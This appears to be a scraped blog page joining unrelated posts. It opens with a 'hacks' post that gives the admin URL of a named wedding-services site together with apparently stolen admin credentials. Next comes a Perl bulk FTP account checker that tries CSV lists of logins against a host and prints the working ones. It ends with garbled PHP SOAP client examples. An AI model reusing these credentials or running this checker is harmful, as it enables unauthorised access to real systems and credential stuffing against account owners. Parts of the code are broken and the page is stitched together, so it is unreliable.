www.pakweddingservices.com Hacks

http://www.pakweddingservices.com/admin/cat_add.php



username: ksiDdrah!88og
password: @2derSSde22

Perl Bulk Ftp Account Checker

File format should be looks like this.

username,password,something
username,password,something

#!/usr/bin/perl

use Net::FTP;

$file = 'pe.csv';

$host='ftp.server.com';

open (F, $file) || die ("Could not open $file!");

while ($line = )
{
($field1,$field2,$field3) = split ',', $line;


my $ftp = Net::FTP->new($host);



my $banner = $ftp->message;
$banner =~ s/\n/ /g;



if ($ftp->login($field1,$field2)) {

print "ftp://$field1:$field2\@$host/\n";
$ftp->quit;


} else {

}

}

close (F);

WSO2 Integration With SpexLive

GetCategories Example:


$requestPayloadString =

<<

XML;

try {


$requestMessage = new WSMessage($requestPayloadString,
array("to" => "http://ws.spexlive.net/service/soap/catalog?appId="));

$client = new WSClient(array("useMTOM" => TRUE,"useSOAP"=>1.1));

$responseMessage = $client->request($requestMessage);

printf("Response = %s
", htmlspecialchars($responseMessage->str));


} catch (Exception $e) {
if ($e instanceof WSFault) {
printf("Soap Fault: %s\n", $e->Reason);
} else {
printf("Message = %s\n",$e->getMessage());
}
}
?>

Upload File Using MTOM:


$requestPayloadString = <<

$requestMessage = new WSMessage($requestPayloadString,
array("to" => "http://ws.spexlive.net/service/soap/catalog?appId=",
"attachments" => array("myid1" => $f)));

$client = new WSClient(array("useMTOM" => TRUE,"useSOAP"=>1.1));

$responseMessage = $client->request($requestMessage);

echo $responseMessage->str;

} catch (Exception $e) {
if ($e instanceof WSFault) {
printf("Soap Fault: %s\n", $e->Reason);
} else {
printf("Message = %s\n",$e->getMessage());
}
}
?>